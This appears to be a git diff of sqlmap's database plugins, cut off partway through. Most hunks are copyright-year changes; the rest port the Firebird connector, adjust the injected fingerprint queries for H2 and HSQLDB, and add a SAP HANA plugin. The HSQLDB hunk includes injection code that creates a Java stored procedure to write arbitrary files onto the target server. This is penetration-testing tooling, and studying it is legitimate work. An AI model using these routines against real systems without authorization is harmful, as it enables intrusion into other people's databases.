--- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py index ecc67a1e539..74072270325 100644 --- a/plugins/dbms/extremedb/__init__.py +++ b/plugins/dbms/extremedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py index 4b1cf53fb59..3c0083ad8cb 100644 --- a/plugins/dbms/extremedb/connector.py +++ b/plugins/dbms/extremedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index c1440dcf64e..c820b73e55a 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py index 99f47dd3bdf..09a02ac9ec4 100644 --- a/plugins/dbms/extremedb/filesystem.py +++ b/plugins/dbms/extremedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index f0e419a251b..99e3737735b 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/extremedb/syntax.py +++ b/plugins/dbms/extremedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py index 0796d3613ae..fa0f6395c4f 100644 --- a/plugins/dbms/extremedb/takeover.py +++ b/plugins/dbms/extremedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index a6155b614f2..08b0f1e79bf 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 28b0aa682ff..9e21a711fb0 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,12 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: - import kinterbasdb + import firebirdsql except: pass @@ -16,15 +16,16 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException -from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://kinterbasdb.sourceforge.net/ - User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html - Debian package: python-kinterbasdb + Homepage: https://github.com/nakagami/pyfirebirdsql + User guide: https://pyfirebirdsql.readthedocs.io/ + Debian package: python3-firebirdsql License: BSD + + Note: ported from the (Python 2-only, unmaintained) kinterbasdb driver to firebirdsql """ # sample usage: @@ -37,9 +38,8 @@ def connect(self): self.checkFileDb() try: - # Reference: http://www.daniweb.com/forums/thread248499.html - self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") - except kinterbasdb.OperationalError as ex: + self.connector = firebirdsql.connect(host=self.hostname, database=self.db, port=self.port or 3050, user=self.user, password=self.password, charset="UTF8") + except firebirdsql.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() @@ -48,20 +48,25 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) - except kinterbasdb.Error as ex: + except firebirdsql.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because a Firebird COMMIT closes + # open cursors (discarding an unfetched result set) + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 2bf8626174f..2e911310b1b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index f92c3d7acd1..949e3191976 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index b6ddb1c4d8b..db0bbc07a56 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 56831d72ec5..a430debce7f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 6ded0437213..1fb4432d443 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py index 53f9a22a8f5..5d148c15aaf 100644 --- a/plugins/dbms/frontbase/__init__.py +++ b/plugins/dbms/frontbase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py index 4e25dd9516c..2f69bfc8af3 100644 --- a/plugins/dbms/frontbase/connector.py +++ b/plugins/dbms/frontbase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index 88596caac17..374b4f7930e 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py index ca58e1c5002..7a6654966ee 100644 --- a/plugins/dbms/frontbase/filesystem.py +++ b/plugins/dbms/frontbase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index 06d03371f13..bb5e15a5c3e 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/frontbase/syntax.py +++ b/plugins/dbms/frontbase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py index 9eb74a13b32..bc7787c6109 100644 --- a/plugins/dbms/frontbase/takeover.py +++ b/plugins/dbms/frontbase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index f570b406c83..fbefae0055a 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index f72a9ad4d76..ec625e31f8b 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index d833de65c91..9dc1131d329 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 42a8943eef0..f607dc2438c 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 822e1723ed9..7125b27cec3 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -87,13 +87,13 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("ZERO() IS 0") + result = inject.checkBooleanExpression("ZERO()=0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 @@ -103,6 +103,10 @@ def checkDbms(self): else: setDbms(DBMS.H2) + result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") + version = '2' if result else '1' + Backend.setVersion(version) + self.getBanner() return True diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index 27a7f0ddf58..cfc1c86a8ca 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 556a11c76bb..29ba323a57c 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hana/__init__.py b/plugins/dbms/hana/__init__.py new file mode 100644 index 00000000000..81dbccf257c --- /dev/null +++ b/plugins/dbms/hana/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HANA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hana.enumeration import Enumeration +from plugins.dbms.hana.filesystem import Filesystem +from plugins.dbms.hana.fingerprint import Fingerprint +from plugins.dbms.hana.syntax import Syntax +from plugins.dbms.hana.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HANAMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SAP HANA methods + """ + + def __init__(self): + self.excludeDbsList = HANA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.HANA] = Syntax.escape diff --git a/plugins/dbms/hana/connector.py b/plugins/dbms/hana/connector.py new file mode 100644 index 00000000000..b01385ce82a --- /dev/null +++ b/plugins/dbms/hana/connector.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + from hdbcli import dbapi +except ImportError: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.org/project/hdbcli/ + User guide: https://help.sap.com/docs/SAP_HANA_PLATFORM/f1b440ded6144a54ada97ff95dac7adf/4fe9978ebac44f35b9369ef5a4a6d73e.html + API: https://help.sap.com/docs/SAP_HANA_CLIENT/f1b440ded6144a54ada97ff95dac7adf/39eb663beaab4f7b94850834e6cb6280.html + Debian package: not available + License: SAP Developer License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = dbapi.connect(address=self.hostname, port=self.port, user=self.user, password=self.password, databaseName=self.db) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except dbapi.Error as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except dbapi.Error as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/hana/enumeration.py b/plugins/dbms/hana/enumeration.py new file mode 100644 index 00000000000..24e6e5d3808 --- /dev/null +++ b/plugins/dbms/hana/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on SAP HANA it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/hana/filesystem.py b/plugins/dbms/hana/filesystem.py new file mode 100644 index 00000000000..5992ee66aff --- /dev/null +++ b/plugins/dbms/hana/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on SAP HANA reading of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on SAP HANA writing of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hana/fingerprint.py b/plugins/dbms/hana/fingerprint.py new file mode 100644 index 00000000000..bd292f3f8dd --- /dev/null +++ b/plugins/dbms/hana/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import HANA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HANA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.HANA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(HANA_ALIASES): + setDbms(DBMS.HANA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MAP(1,1,'[RANDSTR1]','[RANDSTR2]')='[RANDSTR1]'") + + if result: + infoMsg = "confirming %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT_SCHEMA FROM DUMMY) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.HANA) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/hana/syntax.py b/plugins/dbms/hana/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/hana/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/hana/takeover.py b/plugins/dbms/hana/takeover.py new file mode 100644 index 00000000000..b21c4f7e858 --- /dev/null +++ b/plugins/dbms/hana/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 46745fa794f..9a667f25a38 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 3f46a69b7df..494c2988bbd 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -37,15 +37,16 @@ def connect(self): jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar - jvm_path = jpype.getDefaultJVMPath() - jpype.startJVM(jvm_path, args) + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'org.hsqldb.jdbc.JDBCDriver' - connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + connection_string = 'jdbc:hsqldb:hsql://%s:%s/%s' % (self.hostname, self.port, self.db) # was hardcoded to 'jdbc:hsqldb:mem:.' (a fresh empty in-memory DB), ignoring the -d target + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 06e0397c252..a45484c4571 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index b2760719015..2bd06696c50 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -21,13 +21,13 @@ def readFile(self, remoteFile): @stackedmethod def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - funcName = randomStr() + func_name = randomStr() max_bytes = 1024 * 1024 - debugMsg = "creating JLP procedure '%s'" % funcName + debugMsg = "creating JLP procedure '%s'" % func_name logger.debug(debugMsg) - addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes) + addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes) addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" inject.goStacked(addFuncQuery) @@ -47,11 +47,12 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals logger.debug(debugMsg) # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures - invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes) + invokeQuery = "CALL %s('%s', X'%s')" % (func_name, remoteFile, fcEncodedStr) inject.goStacked(invokeQuery) - logger.debug("cleaning up" % funcName) - delQuery = "DELETE PROCEDURE %s" % funcName + logger.debug("cleaning up the database management system") + + delQuery = "DROP PROCEDURE %s" % func_name inject.goStacked(delQuery) message = "the local file '%s' has been written on the back-end DBMS" % localFile diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 86aa0aeaa98..b58faee05da 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -99,7 +99,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index 27a7f0ddf58..cfc1c86a8ca 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 99a8a03ce59..f364bdf54d2 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index ca2f8f1efdb..8cb00583fbe 100644 --- a/plugins/dbms/informix/__init__.py +++ 